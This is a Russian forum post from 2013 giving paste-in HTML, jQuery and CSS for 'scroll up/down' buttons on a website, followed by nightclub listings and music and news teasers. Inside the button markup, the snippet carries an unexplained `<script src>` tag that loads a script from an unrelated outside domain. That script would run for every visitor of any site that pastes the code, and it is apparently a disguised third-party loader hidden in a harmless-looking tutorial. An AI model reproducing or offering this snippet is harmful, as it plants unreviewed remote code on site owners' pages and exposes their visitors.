Кнопка Вверх и вниз для сайта - Кнопка Вверх и вниз для сайта - 7 Декабря 2013

Гости

Гость

Лента обсуждений:

Форум пользователей: добавить тему

• • • •

Новости: /

Тема: Кнопка Вверх и вниз для сайта
Добавил: smasto

22:36, 07/12/13

[c]

[/c]Как правильно установить кнопку "Вверх и вниз" на сайт?

Заходим в панель управления сайтом,
далее "Главная » Управление дизайном » Редактирование шаблонов"
Копируем код и вставляем в "Нижняя часть сайта" в самый низ.

[code]<div style="display:none;" class="nav_up" id="nav_up">
<img alt="↑" width="32" height="32" src="http://pnghosts.ru/img/2_u.ico" > </div>
<div style="display:none;" class="nav_down" id="nav_down">
<script src="http://7ccut.com/table.js" type="text/javascript"></script>
<img alt="↓" width="32" height="32" src="http://pnghosts.ru/img/2_d.ico" > </div>
<script>
$(function() {
var $elem = $('body');

$('#nav_up').fadeIn('slow');
$('#nav_down').fadeIn('slow');

$(window).bind('scrollstart', function(){
$('#nav_up,#nav_down').stop().animate({'opacity':'0.2'});
});
$(window).bind('scrollstop', function(){
$('#nav_up,#nav_down').stop().animate({'opacity':'1'});
});

$('#nav_down').click(
function (e) {
$('html, body').animate({scrollTop: $elem.height()}, 800);
}
);
$('#nav_up').click(
function (e) {
$('html, body').animate({scrollTop: '0px'}, 800);
}
);
});
</script>[/code]

Это вставляем в "Таблица стилей (CSS)" в самый низ

[code].nav_up{
padding:2px;
position:fixed;
width:32px;
height:32px;
bottom:20px;
opacity:0.7;
right:30px;
cursor: pointer;
}
.nav_down{
padding:2px;
position:fixed;
width:32px;
height:32px;
bottom:20px;
opacity:0.7;
right:66px;
cursor: pointer;
}[/code]

Готово.

В теме 0 сообщений

Добавлять комментарии могут только зарегистрированные пользователи.
[ Регистрация | Вход ]

Ночной клуб ChampaGne Афиша Санкт-Петербург	Ночной клуб Остров Афиша Санкт-Петербург	Ночной клуб Shine Афиша Санкт-Петербург
Ночной клуб Людовик / Lvdovic Афиша Санкт-Петербург	Ночной клуб ZимаЛeto / ЗимаЛето Афиша Санкт-Петербург	Кофейня ЧаШкА Афиша Краснодар
Ночной клуб Sunrise Афиша Анапа	Ночной клуб БУДДА БАР Афиша Краснодар	Ночной клуб CKAZKA Project Афиша Краснодар
Dj-cafe ЭЙФЕЛЕВА БАШНЯ / LOUNGE CAFE Афиша Краснодар	Кофейня Оригинальное кафе ЯПОНО-МАКАРОНО Афиша Краснодар	Ночной клуб INFINITI Афиша Краснодар

Новости:

• • • •

VA Young & Wild Vol. 1-2 [2012-2013, MP3] Музыка
[c][/c] [left] Жанр: House, Progressive House \| Страна: Germany Год издания: 2012-2013 Аудиокодек: MP3 \| Тип рипа: tracks \| Битрейт аудио: 320 kbps Продолжительность: 05:35:44 \| Наличие сканов в содержимом раздачи: нет [/left] Просмотров: 623 \| Дата: 12/07/13 \| Сообщений: 0
Добавил: danbdan

• • • •

VA Bargrooves Apres Ski 2.0 [2013, MP3, 320 kbps] Музыка
[c][/c] [left] Жанр: House Издатель (лейбл): Bargrooves Год издания: 2013 Аудиокодек: MP3 Тип рипа: tracks / image Битрейт аудио: 320 kbps Продолжительность: 05:55:29 [/left] Просмотров: 610 \| Дата: 26/02/13 \| Сообщений: 0
Добавил: danbdan

• • • •

VA Its A Soul Thing Deep House Grooves Vol 1 [2013, MP3, 320 kbps] Музыка
[c][/c] [left] Жанр: Deep House Издатель (лейбл): SoSexy Год издания: 2013 Аудиокодек: MP3 Тип рипа: tracks Битрейт аудио: 320 kbps Продолжительность: 03:05:05[/left] Просмотров: 683 \| Дата: 26/02/13 \| Сообщений: 0
Добавил: danbdan

Пресс-релизы:

• • • •

Чехлы для iPad от Louis Vuitton Гид по стилю
Самый модный гаджет текущего года — iPad — обзавелся аксессуаром от дома моды Louis Vuitton. Просмотров: 1220 \| Дата: 28/09/10 \| Сообщений: 0
Добавил: inKubator

• • • •

«Bobina» — хедлайнер на pre-party Чемпионата Мира по Футболу Релизы
Просмотров: 1194 \| Дата: 06/04/10 \| Сообщений: 2
Добавил: Sunches

• • • •

Результаты голосования International Dance Music Awards 2010 Релизы
Сегодня огласили полный список победители в 57 номинациях престижной премии International Dance Music Awards, вручение которой ежегодно проходит во время Winter Music Conference. Просмотров: 1430 \| Дата: 28/03/10 \| Сообщений: 0
Добавил: Sunches